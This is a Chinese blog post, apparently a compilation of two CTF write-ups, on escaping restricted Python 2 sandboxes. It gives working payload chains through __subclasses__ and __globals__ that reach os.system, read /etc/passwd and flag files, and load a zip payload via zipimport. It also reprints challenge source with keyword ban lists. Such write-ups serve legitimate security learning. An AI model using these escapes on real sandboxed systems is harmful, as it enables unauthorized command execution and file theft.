helo i am caiji

博客园 首页 新随笔 联系 订阅 管理

发布时间:2018-05-07 14:00:11

本文总结一些python沙盒在禁用了import,__import__ ,无法导入模块的情况下沙盒绕过的一些方法, 国赛上出了一道python沙盒的题,做了一天没做出来, 让我知道我对python一无所知, 于是总结了一篇文章,大佬勿喷.

 

basic

  1. 在Python里,这段[].__class__.__mro__[-1].__subclasses__()魔术代码,不用import任何模块,但可调用任意模块的方法。

2 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (
  1. 查看当前内存空间可以调用的函数
print __builtins__
dir()
dir(__builtins__)

trick1

内置函数,可以通过dir(__builtins__) 看看有哪些内置函数可以利用的.

eval: eval('import("os").system("ls")')

input: import('os').system('ls')

open,file: file('/etc/passwd').read() open('/etc/passwd').read()

exec : exec("__import__('os').system('ls')");

execfile: 加载文件进内,相当于from xx import *

execfile('/usr/lib/python2.7/os.py')  system('ls')

map 回调函数

map(os.system,['ls'])

trick2

__globals__ :该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os,sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__ 属性访问全局的变量

>>> a = lambda x:x+1
>>> dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7fcd7601ccf8>, '__package__': None}
>>> a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7f1095d72cf8>, '__package__': None}
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")

我们看到__globals__ 是一个字典,默认有__builtins__对象,另外funcglobals和`_globals` 作用一样

在python sandbox中一般会过滤__builtins__内容,这样globals里面的__builtins__也就没有什么意义了,即使重新import __builtin__ 还是一样.

2.1 执行系统命令

在python2.7.10里,
[].class.base.subclasses() 里面有很多库调用了我们需要的模块os

/usr/lib/python2.7/warning.py
58  <class 'warnings.WarningMessage'>
59  <class 'warnings.catch_warnings'>

/usr/lib/python2.7/site.py
71  <class 'site._Printer'>
72  <class 'site._Helper'>
76  <class 'site.Quitter'>

我们来看一下/usr/lib/python2.7/warning.py导入的模块

import linecache
import sys
import types

跟踪linecache文件/usr/lib/python2.7/linecache.py

import sys
import os

OK,调用了os,可以执行命令,于是一个利用链就可以构造了:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

dictglobals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问

还要大佬给了一个不需要利用__globals__就可以执行命令的payload:

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

我们来在来看一下/usr/lib/python2.7/site.py导入的模块

import sys
import os
import __builtin__
import traceback

直接构造:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

2.2 禁用了globals如何绕过

在今年国赛上有一道run的沙盒绕过的题目,白名单过滤了import 导入的内容, 禁用了ls,即__globals__ 用不了了,想了很多其他方式都没有绕过去,赛后才知道的方法,这里也写一下

绕过方法就是利用类的一些描述器方法

__getattribute__:

当访问 某个对象的属性时,会无条件的调用这个方法。比如调用t.__dict__,其实执行了t.__getattribute__("__dict__")函数, 这个方法只适用于新式类。
新式类就是集成自object或者type的类。

于是我们就可以利用__init__.__getattribute__('__global'+'s__') 拼接字符串的方法来绕过ls的关键字 而不是直接调用__init__.__globals__

最终的payload为:

print [].__class__.__mro__[-1].__subclasses__()[71].__init__.__getattribute__('__global'+'s__')['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

有点不明白的就是下面这条命令执行不了,不知道为什么,本机上是可以执行的,不然也是完全可以绕过所有关键字的.

[].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

还有两个描述器方法和这个方法类似,但还是有区别的

__getattr__: 只有getattribute找不到的时候,才会调用getattr.

__get__: 当函数被当作属性访问时,它就会把函数变成一个实例方法。

run这题的源码如下,有兴趣的可以研究一下

sandbox.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-04-09 23:30:58
# @Author  : Xu (you@example.org)
# @Link    : https://xuccc.github.io/
# @Version : $Id$

from sys import modules
from cpython import get_dict
from types import FunctionType

main  = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__

def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']

def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']

def safe_import(__import__,whiteList):
    def importer(name,globals={},locals={},fromlist=[],level=-1):
        if name in whiteList:
            return __import__(name,globals,locals,fromlist,level)
        else:
            print "HAHA,[%s]  has been banned~" % name
    return importer

class ReadOnly(dict):
    """docstring for ReadOnlu"""
    def __delitem__(self,keys):
        raise ValueError(":(")        
    def pop(self,key,default=None):
        raise ValueError(":(")        
    def popitem(self):
        raise ValueError(":(")        
    def setdefault(self,key,value):
        raise ValueError(":(")        
    def __setitem__(self,key,value):
        raise ValueError(":(")        
    def __setattr__(self, name, value):
        raise ValueError(":(")
    def update(self,dict,**kwargs):
        raise ValueError(":(")        

def builtins_clear():
    whiteList = "raw_input  SyntaxError   ValueError  NameError  Exception __import__".split(" ")
    for mod in __builtins__.__dict__.keys():
        if mod not in whiteList:
            del __builtins__.__dict__[mod]

def input_filter(string):
    ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
    for i in ban:
        if i in string.lower():
            print "{} has been banned!".format(i)
            return ""
    return string

# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear


whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__

print """
  ____                  
 |  _  _   _ _ __      
 | |_) | | | | '_      
 |  _ <| |_| | | | |    
 |_| _\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:
    inp = raw_input('>>>')
    cmd = input_filter(inp)
    try:
        exec cmd 
    except NameError, e:
        print "wow something lose!We can't find it !  D:"
    except SyntaxError,e:
        print "Noob! Synax Wrong! :("
    except Exception,e:
        print "unknow error,try again  :>"

cpython

from ctypes import pythonapi,POINTER,py_object

_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]

del pythonapi,POINTER,py_object

def get_dict(ob):
    return _get_dict(ob).contents.value

trick3: 调用file函数读写文件

().__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() //调用file子类
().__class__.__mro__[-1].__subclasses__()[40]('/tmp/1').write("11") //写文件

trick4: zipimport.zipimporter

55  <type 'zipimport.zipimporter'>

我们查看zipimport的帮助手册,发现有个load_module函数,可以导入相关文件到内存中

     |  load_module(...)
     |      load_module(fullname) -> module.
     |      
     |      Load the module specified by 'fullname'. 'fullname' must be the
     |      fully qualified (dotted) module name. It returns the imported
     |      module, or raises ZipImportError if it wasn't found.

于是我们可以先制作一个包含payload的zip文件:

import os
print os.system('cat *')

利用file函数写入zip到/tmp/目录下,然后再调用zipimport.zipimporter导入zip文件中的内容到内存,构造利用链如下:

v = ().__class__.__mro__[-1].__subclasses__()
a = "x50x4bx03x04x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x7ax2ex70x79xcbxccx2dxc8x2fx2ax51xc8x2fxe6x2ax28xcaxccx03x31xf4x8ax2bx8bx4bx52x73x35xd4x93x13x4bx14xb4xd4x35xb9x00x50x4bx01x02x3fx03x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x00x00x00x00x00x00x20x80xa4x81x00x00x00x00x7ax2ex70x79x50x4bx05x06x00x00x00x00x01x00x01x00x32x00x00x00x44x00x00x00x00x00"
v[40]('/tmp/z','wb').write(a)
v[55]('/tmp/z').load_module('z')

缺点: 需要导入zlib库,如果无法导入的话,该方法失效

 

参考

https://zolmeister.com/2013/05/escaping-python-sandbox.html

https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a

 

 

 

常规pysandbox方法:

利用del __builtins__.__dict__[func]进行危险函数过滤。

简单理解,__builtins__存放着Python的内置模块。比如:reload, __import__, print, raw_input

针对常规Python沙箱的bypass,以CTF呈现的形式居多。

以下环境全在python 2.7.10测试。

1. Magic Code

在Python里,这段[].__class__.__base__.__subclasses__()魔术代码,不用import任何模块,但可调用任意模块的方法。

具体使用如下:

1.1 查看Python版本

Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。

我们知道,sys.version可以查看python版本。

>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'

所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。

我们找到<class 'warnings.WarningMessage'>,该Class已经导入了sys模块。

获取py版本如下:

def getPyVer():
magic = [].__class__.__base__.__subclasses__()
for item in magic:
if 'warnings.WarningMessage' in str(item):
return item.__init__.__globals__['sys'].version

print getPyVer()

返回:

2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]

1.2 命令执行

根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。

  • os

  • subprocess

  • commands

以os模块为例。

在2.7.10里,有以下3个Class导入了os模块。

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>

我们利用任意一个Class的代码如下:

def cmdexec(cmd):

magic = [].__class__.__base__.__subclasses__()
for item in magic:
if "<class 'site._Printer'>" == str(item):
ret = item.__init__.__globals__['os'].system(cmd)
return ret

print cmdexec('whoami')

返回:

Viarus
0

2. 小试牛刀

以2014 CSAW-CTF为例。

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = raw_input()

for no in banned:
if no.lower() in data.lower():
print("[-] " + no)
break
else: # this means nobreak
exec data

该代码很简单。

  • 删除所有内置模块,除了raw_inputprint

  • 如果输入里匹配到banned列表里的黑名单,就退出程序。

现在的目的是读取系统上一个文件。方法大致两种:

  1. 调用file函数读取文件

  2. 执行命令

第一种方法就不阐述了。下面是第二种执行命令的Poc:

python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false

原理即上面执行命令的代码逻辑的原理。由于不能出现sys字样,所以把system组合了下。

3. 总结

  • 如果是module类型,可以使用.__dict__.keys()查看方法名,比如item.__init__.__globals__['os'].__dict__.keys()

  • 调用方法使用.__dict__['funcname'],比如item.__init__.__globals__['os'].__dict__['system']

  • 从class中获取该class的模块名item.__init__.__globals__.keys()

4. 参考

  • CSAW-CTF Python sandbox write-up

posted on 2019-04-30 14:40  好好学习--天天向上  阅读(800)  评论(0编辑  收藏  举报